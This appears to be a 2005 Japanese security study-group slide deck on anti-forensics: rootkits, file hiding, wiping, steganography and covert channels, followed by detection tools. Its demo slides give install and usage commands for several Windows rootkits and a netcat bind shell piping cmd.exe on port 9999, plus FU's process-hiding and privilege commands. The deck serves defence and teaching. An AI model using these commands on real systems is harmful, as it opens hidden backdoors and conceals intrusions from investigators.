セキュリティアカデミー勉強会

アンチ・フォレンジック
2005年2月13日
塩月 誠人 <shio@st.rim.or.jp>

アンチ・フォレンジックとは
n フォレンジックの証拠となるセキュリティ侵害の痕跡を残さない、隠す、あるいは消し去る行為– 暗号化– Rootkit– ファイルの隠匿・ワイプ– 痕跡の消去– ステガノグラフィ– ネットワーク通信の隠蔽
2

暗号化
n 暗号化は両刃の剣– 良い目的 ... 情報の保護– 悪い目的 ... 攻撃ツールの秘匿
n 鍵がなければお手上げ
n 何があるかは分からないが、何かがあることは分かる
n GPG
n EFS（Windows標準装備）– アカウントのパスワードが分かれば復号可3

Rootkitn ファイル、プロセス、ネットワーク接続等を隠す（+ログ書き換え、バックドア等）– プログラム置換タイプ

n ifconfig, ps, ls, login等を不正なものに置き換え
n シェアードライブラリを不正なものに書き換え
n インテグリティ・チェッカで検出可（Tripwire等）– システムコール等をフックするタイプn 各種lkm -rootkit
n NT Rootkit, AFX Rootkit
n OS稼動中に検出することは困難
4

ファイルの隠匿
n HD上のスラックスペースに隠す– スラックスペース ... ファイルの末端からクラスタ末端までの空き領域
n NTFSの ADS に隠す– Alternate Data Stream ... ファイルやディレクトリに追加的なデータを持たせるNTFSの機能
n いずれも通常のファイルアクセスでは検出できない（HDのオフライン解析で検出）
n HDに書かないようにして攻撃する手も...

5

ファイルのワイプ
n ファイルをHD上から完全に抹消する– 良い目的 ... 機密情報の漏洩防止– 悪い目的 ... 悪事の痕跡を消す
n ヌル値やランダムなバイト列などでファイルを上書きすることによりワイプ
n NTFSの ADS まではワイプしないものが多い?
– http://www.seifried.org/security/advisories/
kssa-003.html
6

痕跡の消去n PC上に残される各種の行動の痕跡を消去– テンポラリファイル、ゴミ箱、イベントログ、アクセスしたファイルの記録、Cookie、...
n Evidence Eliminator– http://www.evidenceeliminator.com/product.d2w– 「In tests, Evidence Eliminator™ defeats
EnCase and other Forensic Analysis
equipment as used by investigators, policeand government agencies.」7

ステガノグラフィn イメージデータやサウンドデータの中に、情報やファイルを隠す技術＋Secret＝n 一般的に検出は困難?

– 商用検出ツール ... Stego Suite8ネットワーク通信の隠蔽
n 暗号化による通信– SSH、SSL、...
n アブノーマルなパケットによる通信– 通信記録を残させない– ICMPパケット– TCPのACKパケット– フラグメントパケット– 各種のトンネリング– いわゆる、Covert Channel9

その他
n 論理爆弾– ログオンすると爆発– シャットダウンすると爆発n 物理爆弾

– 三回ログオン失敗すると（本当に）爆発（!?）– ハードディスクを取り出すと（本当に）爆発（!?）
n 他人に罪を着せる攻撃 J– 人のPCを乗っ取る– 人のPCに怪しげなファイルを送りつける
10システム管理者にできること
n ユーザPC– 必要外のプログラムの導入・実行をさせないような仕組み– 管理者権限を与えない・奪われないn サーバマシン– 侵入の初期段階で検知する– HIDS、整合性チェッカの導入– ログのリモート管理11

一旦、まとめn 結局は知恵比べ
n Know Your Enemy!!

– 攻撃手法と、その痕跡のパターン– 攻撃検知回避手法– アンチ・フォレンジック手法
n 想像し、想定し、準備する

12

Windows Rootkits

13

Windows Rootkitの分類
n User-Mode Rootkit– exe / dllの置き換え（WFPの停止）– FakeGINAタイプ– DLL Injection & API Hooking
n Kernel-Mode Rootkit– IDT/SDT/SSDT Hooking– Direct Kernel Object Manipulation– Kernel Patching (Memory / File)14kernel32.dll
call WriteFile() ...

User Application
IAT (Import Address Table )WriteFile()

ntdll.dll
ZwWriteFile()
Int 0x2E

IDTR (Interrupt Descriptor Table Register)

User Mode
Kernel Mode

0x2E

KiSystemService ()0xEDSDT (Service DescriptorTable)
System Service Dispatcher

IDT (Interrupt Descriptor Table)

NtWriteFile()

SSDT (System Service Dispatch Table)
15

DLL Injection & API Hooking
DLL Injection
API Hooking
kernel32.dll
call WriteFile() ...

User Application
IAT (Import Address Table )hook.dll

WriteFile()

ZwWriteFile()

ntdll.dll
ZwWriteFile()
Int 0x2E

User Mode16

AFX Rootkit 2004
n DLLインジェクショ
ン & APIフック型rootkit
n http://iamaphex.net/downloads/n インストールディレクトリに入れたプログラ

ムの実行、ネットワーク接続、そのディレク
トリ名で始まるレジストリなどを隠す
n サービスとして登録され、リブート後も起動
n モジュール：– root.exe, hook.dll
17

AFX Rootkit 2004（つづき）
C:¥>c:¥temp¥afx¥root.exe /i→ "afx"というサービスが登録

C:¥>dir ¥temp
ドライブ C のボリューム ラベルがありません。
ボリューム シリアル番号は 80CF‑BC06 ですC:¥temp のディレクトリ
2005/02/12
2005/02/12

19:21
<DIR>
19:21
<DIR>
0 個のファイル
2 個のディレクトリ

.
..
0 バイト
483,842,048 バイトの空き領域

C:¥>start ¥temp¥afx¥nc.exe ‑d ‑L ‑p 9999 ‑e cmd.exe→ netstat/fport/openportsやpulist/pslist/tlist等から隠蔽C:¥>sc stop afx
C:¥>sc delete afx→ リブート後に復旧

18

NT Rootkit
n Kernel APIフック型の Rootkit
n https://www.rootkit.com/vault/hoglund/r

k_044.zip
n _root_で始まるファイル/ ディレクトリ、プロセス、レジストリを隠蔽
n IP：
10.0.0.166でバックドア、キーロガー（現在はdisableされている）等
n モジュール：_root_sys, deploy.exe

19NT Rootkit（つづき）
C:¥WINNT¥system32¥drivers>deploy.exe→ ̲root̲.sysドライバが登録

C:¥>dir temp
ドライブ C のボリューム ラベルがありません。
ボリューム シリアル番号は 80CF‑BC06 ですC:¥temp のディレクトリ
2005/02/12
2005/02/12

20:38
<DIR>
20:38
<DIR>
0 個のファイル
2 個のディレクトリ

.
..
0 バイト
483,164,160 バイトの空き領域

C:¥>start ¥temp¥̲root̲¥̲root̲nc.exe ‑d ‑L ‑p 9999 ‑e cmd.exe→ pulist/pslist/tlist等から隠蔽（ポート情報は隠さない）
C:¥>sc stop ̲root̲C:¥>sc delete ̲root̲→ リブート後に復旧

20Hacker defendern APIフック型の Rootkit
n http://rootkit.host.sk/
n iniファイルの記述に従い、プロセス、ポート、サービス、レジストリ、等を隠蔽
n 既存オープンポートでのバックドア
n サービスおよびドライバとして登録（デフォルト）n モジュール：
hxdef100.exe, hxdefdrv.sys,bdcli100.exe（バックドアクライアント）
21

Hacker defender（つづき）
C:¥temp¥hxdef100>hxdef100→ hxdefdrv.sysドライバが登録"HackerDefender100"というサービスが登録

C:¥>dir ¥temp
ドライブ C のボリューム ラベルがありません。
ボリューム シリアル番号は 80CF‑BC06 ですC:¥temp のディレクトリ
2005/02/12
2005/02/12

23:47
<DIR>
23:47
<DIR>
0 個のファイル
2 個のディレクトリ

.
..
0 バイト
482,371,584 バイトの空き領域

C:¥>start ¥temp¥hxdef100¥nc.exe ‑d ‑L ‑p 9999 ‑e cmd.exe→ netstat/fport/openportsやpulist/pslist/tlist等から隠蔽（iniファイルに記述しておく）
C:¥>sc stop HackerDefender100
C:¥>sc stop HackerDefenderDrv100→ リブート後に復旧
22

Direct Kernel Object
Manipulation (DKOM)
n カーネルのデータ構造を直接操作する
n FU Rootkit → プロセスデータのリンクをはずすことで、プロセスの存在を隠す
process
to hide

EPROCESSEPROCESSEPROCESS

FLINK

FLINK

FLINK

BLINK

BLINK

BLINK
23

FU Rootkit
n DKOMテクニックを使用したRootkit
n https://www.rootkit.com/vault/fuzen_op/FU_Rootkit.zip
n プロセス隠蔽、ドライバ隠蔽、プロセスへの権限の追加、SID の追加等
n モジュール：
fu.exe, msdirectx.sys– fu.exe ... ドライバへの指示を送る役割

24

FU Rootkit（つづき）
C:¥temp¥fu>fu
Usage: fu[‑pl] #number
to list the first #number of processes[‑ph] #PID
to hide the process with #PID[‑pld]
to list the named drivers in DbgView[‑phd] DRIVER̲NAME to hide the named driver[‑pas] #PID
to set the AUTH̲ID to SYSTEM on process #PID[‑prl]
to list the available privileges[‑prs] #PID #privilege̲name to set privileges on process #PID[‑pss] #PID #account̲name to add #account̲name SID to process #PID token
C:¥temp¥fu>fu ‑ph 480→ msdirectx.sysドライバが登録、プロセスID:480を隠蔽C:¥temp¥fu>fu ‑phd msdirectx.sys

C:¥>sc stop msdirectx→ msdirectx.sysドライバを隠蔽→ リブート後に復旧

25

Windows Rootkitの検出
n 基本的には「ライブ」で検出したい– 何が起こっているか、どうやって起こったか
n 止めてしまうとわからなくなる– 生きたまま診断し、手術し、回復させたい
n 可能な限り止めたくない、止められない

n HD調査の限界（?）– HDD大容量化、RAID– MACタイムの改竄– コードパターンの変更（Morphine）– ベースラインをとっていれば良いが...

26

VICE
n http://www.rootkit.com/vault/fuzen_op/vice.zip

n rootkitが行うWin32 APIやシステムコールのフックを検出

27

KProcCheckn http://www.security.org.sg/code/kprocc

heck.html
n プロセスやドライバの状態、ポインタ状態などをさまざまな方法で調査し、隠されたプロセス、ドライバ、フックされたAPIを出力n KProcCheck自身、カーネルドライバとして実装
n たまにブルースクリーン L
28

KProcCheck（つづき）
n -pオプショ
ン ... カーネルのプロセスリンクを調べる（APIフックタイプのものを検出）
n -sオプショ
ン ... スレッドリストからプロセスを調べる（FUを検出）
n -dオプショ
ン ... ロードされているドライバを調べる
n -tオプショ
ン ... SSDTのエントリを調べる
n -gオプショ
ン ... ???
29

KProcCheck（つづき）
C:¥>kproccheck ‑pKProcCheck Version 0.1 Proof‑of‑Concept by SIG^2 (www.security.org.sg)
Process list by traversal of ActiveProcessLinks
8
140
168
188

‑
‑‑‑

Systemsmss.exe
csrss.exe
winlogon.exe......
1032
1040
1060
1072
1076
1080
1092
1116

‑‑
‑‑‑‑‑‑internat.exe
KProcCheck.exe
cmd.exe
imejpmgr.exe
nc.execonime.exe
svchost.exe
root.exe‑‑[Hidden]‑‑‑‑[Hidden]‑‑<‑‑+￨‑‑ AFXにより隠されたプロセス￨<‑‑+

Total number of processes = 2830

KProcCheck（つづき）
C:¥>kproccheck ‑s
KProcCheck Version 0.1 Proof‑of‑Concept by SIG^2 (www.security.org.sg)
Process list by traversal of KiWaitInListHead and KiWaitOutListHead
8140
168
188
216
228
332
400
448
476
480
576

‑‑‑‑‑‑‑‑‑‑‑‑System
smss.exe
csrss.exe
winlogon.exe
services.exe
lsass.exe
mshta.exe
svchost.exe
SPOOLSV.EXE
msdtc.exe
cmd.exesvchost.exe‑‑[Hidden]‑‑ <‑‑‑‑‑‑‑ FUにより隠されたプロセス......
Total number of processes = 27
31

KProcCheck（つづき）
C:¥>kproccheck ‑t
KProcCheck Version 0.1 Proof‑of‑Concept by SIG^2 (www.security.org.sg)
Checks SDT for Hooked Native APIs
ZwCloseZwCreateFile
ZwCreateKey
ZwCreateSection
ZwDeleteKey
ZwDeleteValueKey
ZwEnumerateKey
ZwEnumerateValueKey
ZwFlushKey
ZwOpenFile
ZwOpenKey
ZwQueryDirectoryFile
ZwQueryKeyZwQuerySystemInformation
ZwQueryValueKey
ZwSetValueKey+‑‑‑ NT RootkitによるフックV18 ¥??¥C:¥WINNT¥system32¥drivers¥̲root̲.sys [FD5C130D]
20 ¥??¥C:¥WINNT¥system32¥drivers¥̲root̲.sys [FD5C0381]
23 ¥??¥C:¥WINNT¥system32¥drivers¥̲root̲.sys [FD5C0ED4]
2B ¥??¥C:¥WINNT¥system32¥drivers¥̲root̲.sys [FD5BD6D8]35 ¥??¥C:¥WINNT¥system32¥drivers¥̲root̲.sys [FD5C0D04]
37 ¥??¥C:¥WINNT¥system32¥drivers¥̲root̲.sys [FD5C0F8D]
3C ¥??¥C:¥WINNT¥system32¥drivers¥̲root̲.sys [FD5C0B93]
3D ¥??¥C:¥WINNT¥system32¥drivers¥̲root̲.sys [FD5C0948]
43 ¥??¥C:¥WINNT¥system32¥drivers¥̲root̲.sys [FD5C0D93]
64 ¥??¥C:¥WINNT¥system32¥drivers¥̲root̲.sys [FD5C026B]
67 ¥??¥C:¥WINNT¥system32¥drivers¥̲root̲.sys [FD5C04A0]
7D ¥??¥C:¥WINNT¥system32¥drivers¥̲root̲.sys [FD5C0050]
8B ¥??¥C:¥WINNT¥system32¥drivers¥̲root̲.sys [FD5C0618]
97 ¥??¥C:¥WINNT¥system32¥drivers¥̲root̲.sys [FD5C1080]
9B ¥??¥C:¥WINNT¥system32¥drivers¥̲root̲.sys [FD5C077C]
D7 ¥??¥C:¥WINNT¥system32¥drivers¥̲root̲.sys [FD5C0E2A]

Number of Service Table entries hooked = 1632その他
n Klister– KProcCheckと同様のツール（?）
n PatchFinder– Execution Path Analysis（EPA）に基づいたrootkit検出ツール
n リモートからのsc– ローカルで見えないサービス/ドライバも検出できる場合アリn リモートマウント
n 各種のツールでクロスチェックする
33

参考n

Windows Forensics and Incident Recovery– Harlan Carvey, Addison-Wesley, ISBN:0321200985

nExploiting Software : How to Break Code– Greg Hoglund & Gary McGraw, Addison-Wesley, ISBN:0201786958

nMalware: Fighting Malicious Code– Ed Skoudis & Lenny Zeltser, Prentice Hall PTR , ISBN:0131014056

nnn

VICE - Catch the hookers!
– http://www.blackhat.com/presentations/bh-usa-04/bh-us-04butler/bh-us-04-butler.pdf
Advanced Windows 2000 Rootkit Detection (Execution Path Analysis)– http://www.blackhat.com/presentations/bh-usa-03/bh-us-03rutkowski/bh-us-03-rutkowski -paper.pdf
FU Rootkit (GCIH Practical Assignment by Mariusz Burdach)– http://www.giac.org/practical/GCIH/Mariusz_Burdach_GCIH.pdf
34